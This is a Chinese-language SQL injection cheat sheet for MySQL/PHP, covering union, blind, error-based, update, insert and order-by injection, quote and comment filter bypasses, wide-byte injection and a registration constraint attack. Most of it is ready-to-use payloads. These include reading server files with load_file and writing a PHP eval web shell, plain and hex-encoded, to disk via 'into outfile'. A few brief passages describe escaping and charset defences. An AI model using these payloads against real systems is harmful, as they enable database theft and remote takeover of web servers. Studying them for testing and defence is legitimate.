目录
1.常用的代码中的sql查询方式
//单引号保护 ?id=1' and 1=1--+ $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //没有保护,一般查询纯数字类型的数据 ?id=1 and 1=1--+ $sql="SELECT * FROM users WHERE id= $id LIMIT 0,1"; //单引号与小括号保护 ?id=1') and 1=1--+ $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; //双引号与小括号保护 ?id=1") and 1=1--+ $sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1"; //双引号保护 ?id=1" and 1=1--+ $sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1"; //小括号保护 ?id=1) and 1=1--+ $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
2.union注入
猜数据库 select schema_name from information_schema.schemata 猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’ 猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’ 获取某列的内容 Select group_concat(column1,column2,column3) from database.table(数据库.表名字,如果直接打表明,那就默认当前连接的数据库)
3.盲注(布尔,延时)
3.1常用函数
ascii():
返回字符的ascii值 select ascii('a') //输出97
ord():
返回字符的ascii值 select ord('a') //输出97
char():
返回ascii对应的字符 select char(97) //输出a
mid(str,start[,n]):
截取字符串str,从第start个位置开始(第一个字符位置是1),返回n个字符。 select mid("abcdefg",1,1) //输出a
substr(str,start[,end]):
截取str,从start(第一个字符为1)到end select substring('abcdefg',2,1) //输出b
left(str,n):
截取str的n个字符 select left("abcdef",3) //输出abc
regexp
select user() regexp '^root@localhost' 注意因为是正则匹配,所以不要忘记加 ^
like
select user() like 'root@lo%' 注意加%
limit m,n
控制行(记录)的数量,从第m行到第n行,m从0开始
if(condition,expr1,expr2)
判断condition,如果为真返回expr1 select if(1=2,1,0) //输出0
group_concat()
将多行的内容联合在一起变成一行,默认用逗号隔开
正常查询
用group_concat()连接
concat()
连接同一行的多个列的内容,没有东西隔开
sleep()
SELECT if(mid(user(),1,1)='r',sleep(2),1),常常配合if来进行延时注入
between
select 0x9 between 0x8 and 0x10
3.2盲注语句
mid函数
?id=1' and ( mid((select group_concat(schema_name) from information_schema.schemata),1,19)='information_schema,')--+ 数据库之间都是用逗号隔开
mid函数配合ord或者ascii函数区分大小写
?id=1' and ( ascii(mid((select group_concat(schema_name) from information_schema.schemata),1,1))=105)--+ //mysql不区分大小写,配合ascii可以区分大小写,ascii换成ord也可以
left函数
?id=1' and ( left((select group_concat(schema_name) from information_schema.schemata),1)='i')--+
substr函数
?id=1' and ( substr((select group_concat(schema_name) from information_schema.schemata),1,1)='i') --+
regexp
?id=1' and ( (select group_concat(schema_name) from information_schema.schemata) regexp '^i' )--+
like
?id=1' and ( (select group_concat(schema_name) from information_schema.schemata) like 'i%')--+
between
?id=1' and (ascii(mid((select group_concat(schema_name) from information_schema.schemata),1,1)) between 0x1 and 0x7f)--+
if+sleep
?id=1' and ( (if(mid((select group_concat(schema_name) from information_schema.schemata),1,1)='i',sleep(3),0)))--+
limit m,n
主要用在group_concat函数被禁了的情况下,因为比较字符串的时候如果返回多行(group_concat合并为一行)就没法比较,其实也可以用mid,substr函数控制截取字符的长度 (select schema_name from information_schema.schemata limit 0,1) //输出information_schema
4.报错盲注
4.1函数
4.1.1 xpath语法错误
extractvalue(目标xml文档,xml路径)
xml路径格式为 /xxx/xx/xx/xx ,想办法,让xml路径那里的语法错误,产生报错,然后把查询的东西带出来 ?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))--+ 这里说下,为啥要concat一下0x7e(0x7e:~),因为必须要让xpath语法产生错误! ~查询的内容~,这串字符是不符合语法规则的,所以才会报错。也可以连接!@#$%^&*等 例如:?id=1' and extractvalue(1,concat('@',(select schema_name from information_schema.schemata limit 3,1),'!'))--+ 还有为啥要limit m,n,为啥不用group_concat:查询的内容有32个显示字符的限制,不能一起显示出来,所以一行行的查询,如果一行的数据长度大于32的话,就用substr,mid控制截取字符的长度
updatexml(目标xml文档,xml路径,更新的内容)
同理也是让xml路径报错,同样也是32个字符的限制
4.1.2主键重复
select count(*) from information_schema.TABLES group by concat(version(),floor(rand(0)*2)); 整个查询过程中,floor(rand(0)*2)被计算了5次,查询原始数据表3次,所以表中需要至少3条数据才能报错。 如果不到3条,并不会报错,而是会输出查询的行数,此时方法失效。 选择information_schema.TABLES就好
4.1.3 数值溢出
exp
1.返回e(自然对数的底)到X次方的值此函数返回e(自然对数的底)的X次方的值 2.double 数值类型超出范围进行报错注入 3.(select * FROM(SELECT USER())a) //输出root@localhost select (~(select * FROM(SELECT USER())a)) //输出bigint类型的最大值:18446744073709551615 (select (exp(~(select * FROM(SELECT USER())a)))) //产生报错,带出root@localhost 或者 select (~(select * FROM(SELECT USER())a))+1 4.版本要求 <5.53 5.没有长度限制
4.2注入语句
extractvalue
> ?id=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))--+
updatexml
> ?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e),1)--+
concat,rand(),group_by()
?id=1' and (select count(*) from information_schema.TABLES group by concat(version(),floor(rand(0)*2)))--+ ?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0 x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+ ?id=1' and (select count(*) from users group by concat(database(),"~",floor(rand(0)*2)))--+ //concat连接了一个~,因为floor(rand(0)*2))也会有输出结果( 主键'1'重复 ),这样就容易区分了 ?id=1' and (select count(*) from information_schema.TABLES group by concat((select schema_name from information_schema.schemata limit 3,1),"~",floor(rand(0)*2)))--+
exp
?id=1' and (select (exp(~(select * FROM(SELECT USER())a))))--+ 无长度限制
5.mysql读写文件的两个函数
5.1 load_file()
5.1.1条件
1. select count(*) from mysql.user 得大于用户才有这个权限 2. 文件大小不能超过max_allowed_packet 3. secure_file_priv值不为NULL 查看show global variables like '%secure%'; 复现就在my.ini(my.cnf)的[mysqld]下面修改或者添加: secure_file_priv = 4. 知道文件的绝对路径
5.1.2利用
1.union注入:
?id= -1' union select 1,load_file('d:/test.txt'),3 --+ 这里因为可能存在不可打印字符的原因,所以得把查询出来的文件内容转换为十六进制,尤其是二进制exe等文件 ?id= -1' union select 1,hex(load_file('d:/test.txt')),3 --+
2.盲注:
?id=1' and (select mid((select load_file('d:/test.txt')),1,9)='<!DOCTYPE')--+ ?id=1' and (select hex(mid((select load_file('d:/test.txt')),1,1))='3c')--+ hex(load_file())查询出来十六进制是以字符的形式存在的
3.绕过
select load_file('d:/test.txt') select load_file(0x643A2F746573742E747874) (只转路径,不转单引号) select load_file(char(100,58,47,116,101,115,116,46,116,120,116))(只转路径,不转单引号)
5.2 outfile
1.单引号一旦被过滤,不能被继续使用,写入的一句话可以编码绕过,但是绝对路径必须有单引号。 2.要有file的权限 3. ?id=-1' union select 1,2, '<?php eval($_POST[cmd])?>' into outfile 'd:/muma.php' --+ ?id=-1' union select 1,2, 0x3C3F706870206576616C28245F504F53545B636D645D293F3E into outfile 'd:/muma.php'--+
6.sql注入的时候编码问题
! * ' ( ) ; : @ & = + $ , / ? # [ ] 这些是需要编码才能被服务器正确接收的字符,因为这些对于浏览器是控制字符
#是mysql的注释字符 get方式传参的时候,#这个字符是不会传过去的,他对于浏览器是一个控制字符起到了锚点的作用,所以#和后边的内容都不会发送,只有通过别的工具把他进行url编码成%23,服务器收到并且会自动解码成#。 post传参的时候会自动把#编码成%23,所以有些post表单注入,直接打#就可以了。如果post表单提交%23,会自动编码成%2523,服务器解码成%23,只能解码一次,所以不能将其继续解码成#。
-- (空格)也是mysql的注释字符,为什么--+也可以作为注释使用呢? url中的加号代表空格,get传参的时候,因为+是控制字符,对于浏览器的作用来说,他就是要被编码成%20当作一个空格来用,所以实际传过去的是-- (此处有空格) post提交--+的时候,+会被编码成%2B('+'的url编码),传过去的实际是--+,而实际上--+不会对mysql产生截断作用,所以--+对于post注入是不可以用的。 post提交-- (空格),空格也会被编码成+,所以仍然不能产生截断作用。 所以post注入的时候,阶段的方法可以直接提交#,或者本地拦截包,直接修改。
7.update 注入
//修改密码 $update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; //判断修改是否成功的逻辑 mysql没有报错 或者 没有和原来的密码重复并且mysql没有报错 注意的是,这里的username最好要填注册的,因为很多代码逻辑都是先判断你这个账户有没有,如果没有直接给你返回错误。
1.注入点从$password入手 //报错注入 abcd' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e))# //延时盲注,这里请一定要加上 where username="" #,不然sleep的时间要乘行的个数 abcd' or If(ascii(substr(database(),1,1))=113,1,sleep(2)) where username='admin'# 2.执行的逻辑 首先说明mysql字符为逻辑0 select "abcdefg"=0 //输出1 update users set password= 'abcd' or (select user() like 'root@lo%' )# //上边这句话执行优先级 update users set password= ( 'abcd' or (select user() like 'root@lo%' ) )# //简化为 update users set password = (0 or 0);或者update users set password = (0 or 1); //这句话永远不会报错,修改的password值为0或者1,而密码修改成功与否给的提示就是mysql是否报错,所以布尔盲注的时候,无论何时都是对的,无法用布尔盲注注出数据。
8.insert注入
思路:insert或者update类型的操作一般不会显示在前端,报错注入或者延时注入 //插入mysql代码 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', `$uname`) //延时注入 http头部agent修改为: AAA' or if(ascii(substr(database(),1,1))=112,1,sleep(5)) or 'AAA'='AAA //执行的实际操作 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' AAA' or if(ascii(substr(database(),1,1))=112,1,sleep(5)) or 'AAA'='AAA ', '127.0.0.1', 'admin') //报错注入 A'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 0 or extractvalue()或者 0 and extractvalue()都会报错 //实际执行 INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' AAA'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1 ', '127.0.0.1', 'admin')
9.sql语句的执行逻辑
http://www.admintony.com/MySQL%E7%9A%84%E9%80%BB%E8%BE%91%E8%BF%90%E7%AE%97%E7%AC%A6-and-or-xor-%E7%9A%84%E5%B7%A5%E4%BD%9C%E6%9C%BA%E5%88%B6.html http://blackwolfsec.cc/2018/03/13/Mysql_sleep/
10.过滤函数
addslashes()
转义 ' " \ null 起到转移作用的反斜杠不会写入数据库
stripslashes()
清理掉反斜杠
mysql_real_escape_string()
转义 \x00 \n \r \ ' " \x1a 是mysql驱动的一个函数,不是php自带的
magic_quotes_gpc
magic_quotes_gpc从5.4就已经被废弃 magic_quotes_gpc=on时候,会自动对get,post的参数进行addslashes()操作 magic_quotes_gpc=on的时候,又手动的addslashes()了一遍,则会进行双重转义:' --------> \\\' 为了防止,可以先判断: if (get_magic_quotes_gpc()){ code.... }
11.过滤 #,--
过滤了 # -- 后,就么没法注释掉 'id' 的第二个单引号了。 但是可以加单引号来闭合: #union注入 #注入点判断 SELECT * FROM `users` WHERE `id` = ' -1' OR '1' = '1 ' LIMIT 0 , 1; SELECT * FROM `users` WHERE `id` = ' -1' OR '1' = '2 ' LIMIT 0 , 1; #字段个数判断 没有找到order by判断的方法 SELECT * FROM `users` WHERE `id`=' 1' union select 1,'2 ' limit 0,1 SELECT * FROM `users` WHERE `id`=' 1' union select 1,2,'3 ' limit 0,1 #查询 SELECT * FROM `users` WHERE `id`=' -1' union select (select group_concat(schema_name) from information_schema.schemata),2,'3 ' limit 0,1 #布尔盲注 SELECT * FROM `users` WHERE `id` = ' 1' and if(mid(user(),1,1)='r',1,0) and '1'='1 ' LIMIT 0 , 1; #延时注入 SELECT * FROM `users` WHERE `id` = ' 1' and if(mid(user(),1,1)='r',sleep(1),0) and '1'='1 ' LIMIT 0 , 1; #报错注入 SELECT * FROM `users` WHERE `id` = ' 1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e)) and '1'='1 ' LIMIT 0 , 1
12.约束攻击
假设,我们在开发的时候没有对用户注册账户的输入进行严格的限制,使得用户输入的两端可以存在空格(一般用trim去掉)。 我们先来插入两条语句试试吧。 create table testtest (name varchar(20) ,id int ); insert into testtest values('admin',0); insert into testtest values('admin ',1); insert into testtest values('admin ',2); insert into testtest values('admin ',3); 当我们查询的时候呢? 无论是 select * from testtest where name='admin'; select * from testtest where name='admin '; select * from testtest where name='admin '; select * from testtest where name='admin '; 结果都是:
这就是说在没有过滤空格和设置主键(对象到name)的时候,会通过多加空格的形式来查询到没有空格相同名字的账户。 攻击方法,直接注册用户名然后加很多的空格
13.宽字节注入
1. 将单引号转义一般用addslashes或者repalace方法 使用了gbk编码,mysql_query("SET NAMES 'gbk'"); ?id=1' -> ?id=1\' ?id=1%df' -> ?id=1%df\' -> ?id=1%df%5c' -> ?id=1運' 单引号逃逸 2. mysql_real_escape_string()来转移单引号 当用这个函数时,如果只设置了mysql_query("SET NAMES 'gbk'"),但是没有设置当前连接的字符集mysql_set_charset('gbk',$conn),仍然可以宽字符注入 3.解决办法 3.1utf-8编码 3.2使用gbk编码,过滤用mysql_real_escape_string()的时候同时mysql_set_charset('gbk',$conn) 3.3mysql_set_charset('SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary',$conn) 4. iconv将utf-8转换为gbk $id=iconv('utf-8','gbk',$id) ?id=錦' %e9%8c%a6' -> %e5%5c' -> %e5%5c\' -> %e5%5c%5c%27 两个%5c,两个反斜杠代表一个被转移过的反斜杠,失去了转移的作,是一个纯字符,单引号逃逸。 iconv将gbk转换成utf-8 直接宽字节注入%df就可以
14.order by 注入
排序语句:SELECT * FROM `users` ORDER BY $sort; //注入语句 #延时注入 SELECT * FROM `users` ORDER BY IF(MID(USER(), 1, 1) = 'r', SLEEP(1), 1) #报错注入 SELECT * FROM `users` ORDER BY extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1),0x7e)) #布尔盲注需要配合rand() SELECT * FROM `users` ORDER BY RAND(IF(MID(USER(), 1, 1) = 'a', 0, 1)) #写文件 ?sort=1 into outfile 'd:\\2.txt' lines terminated by 0x3C3F70687020706870696E666F28293B3F3E